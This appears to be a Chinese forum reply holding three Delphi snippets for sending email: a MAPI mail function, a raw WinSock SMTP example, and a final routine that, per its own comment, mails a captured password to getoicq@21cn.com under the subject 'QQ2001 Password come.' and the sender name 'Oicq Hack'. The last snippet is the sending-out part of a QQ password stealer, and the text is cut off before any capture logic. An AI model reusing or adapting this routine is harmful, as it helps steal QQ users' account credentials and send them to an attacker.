这个你看一下吧<br>function SendMail(const Subject, Body, FileName,<br> SenderName, SenderEMail,<br> RecepientName, RecepientEMail: string): Integer;<br>var<br> Message: TMapiMessage;<br> lpSender, lpRecepient: TMapiRecipDesc;<br> FileAttach: TMapiFileDesc;<br> SM: TFNMapiSendMail;<br> MAPIModule: HModule;<br>begin<br> FillChar(Message, SizeOf(Message), 0);<br> with Message do<br> begin<br> if (Subject <> '') then lpszSubject := PChar(Subject);<br> if (Body <> '') then lpszNoteText := PChar(Body);<br> if (SenderEmail <> '') then<br> begin<br> lpSender.ulRecipClass := MAPI_ORIG;<br> if (SenderName = '') then<br> lpSender.lpszName := PChar(SenderEMail)<br> else<br> lpSender.lpszName := PChar(SenderName);<br> lpSender.lpszAddress := PChar(SenderEmail);<br> lpSender.ulReserved := 0;<br> lpSender.ulEIDSize := 0;<br> lpSender.lpEntryID := nil;<br> lpOriginator := @lpSender;<br> end;<br><br> if (RecepientEmail <> '') then<br> begin<br> lpRecepient.ulRecipClass := MAPI_TO;<br> if (RecepientName = '') then<br> lpRecepient.lpszName := PChar(RecepientEMail)<br> else<br> lpRecepient.lpszName := PChar(RecepientName);<br> lpRecepient.lpszAddress := PChar(RecepientEmail);<br> lpRecepient.ulReserved := 0;<br> lpRecepient.ulEIDSize := 0;<br> lpRecepient.lpEntryID := nil;<br> nRecipCount := 1;<br> lpRecips := @lpRecepient;<br> end<br> else<br> lpRecips := nil;<br><br> if (FileName = '') then<br> begin<br> nFileCount := 0;<br> lpFiles := nil;<br> end<br> else<br> begin<br> FillChar(FileAttach, SizeOf(FileAttach), 0);<br> FileAttach.nPosition := Cardinal($FFFFFFFF);<br> FileAttach.lpszPathName := PChar(FileName);<br> nFileCount := 1;<br> lpFiles := @FileAttach;<br> end;<br> end;<br><br> MAPIModule := LoadLibrary(PChar(MAPIDLL));<br> if MAPIModule = 0 then<br> Result := -1<br> else<br> try<br> @SM := GetProcAddress(MAPIModule, 'MAPISendMail');<br> if @SM <> nil then<br> begin<br> Result := SM(0, Application.Handle, Message, MAPI_DIALOG or<br>MAPI_LOGON_UI, 0);<br> end<br> else<br> Result := 1;<br> finally<br> FreeLibrary(MAPIModule);<br> end;<br><br> if Result <> 0 then<br> MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,<br> [mbOK], 0);<br>end;<br><br>**********************<br>下面是利用WinSock发送电子邮件的例子:<br>whaoye:<br>program SendMail;<br><br>uses<br> winsock;<br><br>{$R *.RES}<br><br>procedure sendmails;stdcall;<br>var<br>s:tsocket;<br>buffer:array[0..255] of char;<br>errorcode:integer;<br>mailserver:tsockaddr;<br>begin<br>mailserver.sin_family:=af_inet;<br>mailserver.sin_port:=htons(25);<br>mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');<br>s:=socket(af_inet,sock_stream,0);<br>errorcode:=connect(s,mailserver,sizeof(mailserver));<br>if errorcode<>invalid_socket then<br>begin<br> buffer:='HELO'+#13#10;<br> send(s,buffer,length('HELO'+#13#10),0);<br> buffer:='MAIL FROM: whaoye@21cn.com'+#13#10;<br> send(s,buffer,length('MAIL FROM: whaoye@21cn.com'+#13#10),0);<br> buffer:='RCPT TO:administrator@godeye'+#13#10;<br> send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);<br> buffer:='DATA'+#13#10;<br> send(s,buffer,length('DATA'+#13#10),0);<br> buffer:='FROM:whaoye@21cn.com'+#13#10;<br> send(s,buffer,length('FROM:whaoye@21cn.com'+#13#10),0);<br> buffer:='TO:administrator@godeye'+#13#10;<br> send(s,buffer,length('TO:administrator@21cn.com'+#13#10),0);<br> buffer:='SUBJECT:just a test!'+#13#10;<br> send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);<br> buffer:='I LOVE THIS GAME!'+#13#10;<br> send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);<br> buffer:='.'+#13#10;<br> send(s,buffer,length('.'+#13#10),0);<br> buffer:='QUIT'+#13#10;<br> send(s,buffer,length('QUIT'+#13#10),0);<br> closesocket(s);<br>end;<br>end;<br><br>var<br>wsa:twsadata;<br>begin<br>wsastartup($0202,wsa);<br>sendmails;<br>wsacleanup;<br>end.<br>*******************<br>//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱 <br>procedure MailSend; <br>begin <br>err:=recv(FSocket,sbuf,400,0); <br>s1:=strpas(sbuf); <br>inc(step); <br>case step of <br>1:s1:='HELO smtp.hacker.com'+CRLF; <br>2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF; <br>3:s1:='RCPT TO: <'+email+'>'+CRLF; <br>4:s1:='DATA'+CRLF; <br>5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF <br>+'To:"getoicq"<www.password.com>'+CRLF <br>+'Subject:QQ2001 Password come.'+CRLF <br>+CRLF <br>+newpass+CRLF <br>+'.'+CRLF; <br>6:s1:='QUIT'+CRLF; <br>else <br>step:=0; <br>end; <br>strcopy(sbuf,pchar(s1)); <br>err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE); <br>end; <br>//发信主过程 <br>procedure SendPass; <br>begin <br>err:=WSAStartup($0101,WSAData); <br>FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP); <br>//利用 smtp.21cn.com 进行发信 <br>fhost:='202.104.32.230'; <br>fport:=25; <br>SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost)); <br>SockAddrIn.sin_family := PF_INET; <br>SockAddrIn.sin_port :=htons(Fport); <br>err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn)); <br>step:=0; <br>repeat <br>MailSend; <br>until step=0; <br>err:=closesocket(FSocket); <br>err:=WSACleanup; <br>